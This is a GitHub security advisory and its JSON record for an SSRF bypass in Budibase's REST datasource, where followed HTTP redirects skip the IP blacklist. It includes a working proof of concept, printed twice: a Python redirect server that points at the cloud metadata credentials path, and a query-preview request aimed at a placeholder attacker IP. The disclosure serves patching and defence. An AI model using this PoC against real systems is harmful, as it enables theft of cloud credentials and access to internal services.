GHSA-FGQV-JH4G-PVG2

Vulnerability from github – Published: 2026-05-15 17:53 – Updated: 2026-06-08 23:50
VLAI
Summary
Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration
Details

Summary

The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (fetchWithBlacklist in packages/server/src/automations/steps/utils.ts) but the REST integration was missed.

Details

Vulnerable file: packages/server/src/integrations/rest.ts, lines 754-778

The _req() method checks the request URL against the IP blacklist at line 754, then calls fetch(url, input) at line 778. No redirect: "manual" option is set, so undici's fetch defaults to redirect: "follow", automatically following HTTP 301/302/307 redirects without re-validating the redirect target against the blacklist.

// Line 754 — blacklist check on original URL only
if (await blacklist.isBlacklisted(url)) {
  throw new Error("URL is blocked or could not be resolved safely.")
}

// Line 778 — fetch follows redirects, NO re-check on redirect target
response = await fetch(url, input)

The automation steps already implement the correct fix in packages/server/src/automations/steps/utils.ts (lines 100-136) via fetchWithBlacklist(), which sets redirect: "manual" and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.

Relevant prior fix commits on the automation side: - 6cfa3bcca3 — "fix(server): enforce outbound blacklist in webhook automation steps" - e7d47625be — "Fix automation webhook blacklist redirect bypass"

PoC

Step 1 — Set up a redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()

Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.

Step 3 — Preview a query:

POST /api/queries/preview HTTP/1.1
Host: <budibase-instance>
Content-Type: application/json
Cookie: <builder-session>
x-budibase-app-id: <app-id>

{
  "datasourceId": "<rest-datasource-id>",
  "queryVerb": "read",
  "fields": {
    "path": "http://<attacker-ip>:8080/",
    "queryString": "",
    "headers": {},
    "bodyType": "none",
    "requestBody": ""
  },
  "parameters": [],
  "transformer": "return data",
  "name": "ssrf-test",
  "schema": {}
}

Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:

{
  "rows": [{
    "couchdb": "Welcome",
    "version": "3.3.3",
    "uuid": "a84d3353128485a22973a759df2387bc"
  }]
}

Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active.

Impact

  • Cloud credential theft: On AWS/GCP/Azure instances, attacker accesses 169.254.169.254 to steal IAM credentials or service account tokens.
  • Internal service access: CouchDB (:4005), Redis (:6379), MinIO (:4004), and other internal services become accessible
  • Bypasses explicit security control: The IP blacklist exists specifically to prevent this, and works correctly for direct access — only the redirect path is unprotected.
  • Already-known vulnerability class: This was previously identified and fixed in automation steps (commits 6cfa3bcca3, e7d47625be) but the REST datasource integration was not patched.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T17:53:08Z",
    "nvd_published_at": "2026-05-27T18:16:25Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (`fetchWithBlacklist` in `packages/server/src/automations/steps/utils.ts`) but the REST integration was missed.\n\n### Details\n\n**Vulnerable file:** `packages/server/src/integrations/rest.ts`, lines 754-778\n\nThe `_req()` method checks the request URL against the IP blacklist at line 754, then calls `fetch(url, input)` at line 778. No `redirect: \"manual\"` option is set, so undici\u0027s fetch defaults to `redirect: \"follow\"`, automatically following HTTP 301/302/307 redirects **without re-validating the redirect target against the blacklist**.\n\n```typescript\n// Line 754 \u2014 blacklist check on original URL only\nif (await blacklist.isBlacklisted(url)) {\n  throw new Error(\"URL is blocked or could not be resolved safely.\")\n}\n\n// Line 778 \u2014 fetch follows redirects, NO re-check on redirect target\nresponse = await fetch(url, input)\n```\n\nThe automation steps already implement the correct fix in `packages/server/src/automations/steps/utils.ts` (lines 100-136) via `fetchWithBlacklist()`, which sets `redirect: \"manual\"` and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.\n\nRelevant prior fix commits on the automation side:\n- `6cfa3bcca3` \u2014 \"fix(server): enforce outbound blacklist in webhook automation steps\"\n- `e7d47625be` \u2014 \"Fix automation webhook blacklist redirect bypass\"\n\n### PoC\n\n**Step 1 \u2014 Set up a redirect server (attacker-controlled):**\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\u0027Location\u0027, \u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0027)\n        self.end_headers()\n\nHTTPServer((\u00270.0.0.0\u0027, 8080), RedirectHandler).serve_forever()\n```\n\n**Step 2 \u2014 As a Builder, create a REST datasource pointing to the attacker\u0027s server.**\n\n**Step 3 \u2014 Preview a query:**\n\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: \u003cbudibase-instance\u003e\nContent-Type: application/json\nCookie: \u003cbuilder-session\u003e\nx-budibase-app-id: \u003capp-id\u003e\n\n{\n  \"datasourceId\": \"\u003crest-datasource-id\u003e\",\n  \"queryVerb\": \"read\",\n  \"fields\": {\n    \"path\": \"http://\u003cattacker-ip\u003e:8080/\",\n    \"queryString\": \"\",\n    \"headers\": {},\n    \"bodyType\": \"none\",\n    \"requestBody\": \"\"\n  },\n  \"parameters\": [],\n  \"transformer\": \"return data\",\n  \"name\": \"ssrf-test\",\n  \"schema\": {}\n}\n```\n\n**Step 4 \u2014 The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:**\n\n```json\n{\n  \"rows\": [{\n    \"couchdb\": \"Welcome\",\n    \"version\": \"3.3.3\",\n    \"uuid\": \"a84d3353128485a22973a759df2387bc\"\n  }]\n}\n```\n\nTested and confirmed on Budibase v3.34.6 running locally with default blacklist active.\n\n### Impact\n\n- **Cloud credential theft:** On AWS/GCP/Azure instances, attacker accesses `169.254.169.254` to steal IAM credentials or service account tokens.\n- **Internal service access:** CouchDB (`:4005`), Redis (`:6379`), MinIO (`:4004`), and other internal services become accessible\n- **Bypasses explicit security control:** The IP blacklist exists specifically to prevent this, and works correctly for direct access \u2014 only the redirect path is unprotected.\n- **Already-known vulnerability class:** This was previously identified and fixed in automation steps (commits `6cfa3bcca3`, `e7d47625be`) but the REST datasource integration was not patched.",
  "id": "GHSA-fgqv-jh4g-pvg2",
  "modified": "2026-06-08T23:50:37Z",
  "published": "2026-05-15T17:53:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-fgqv-jh4g-pvg2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45715"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.38.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…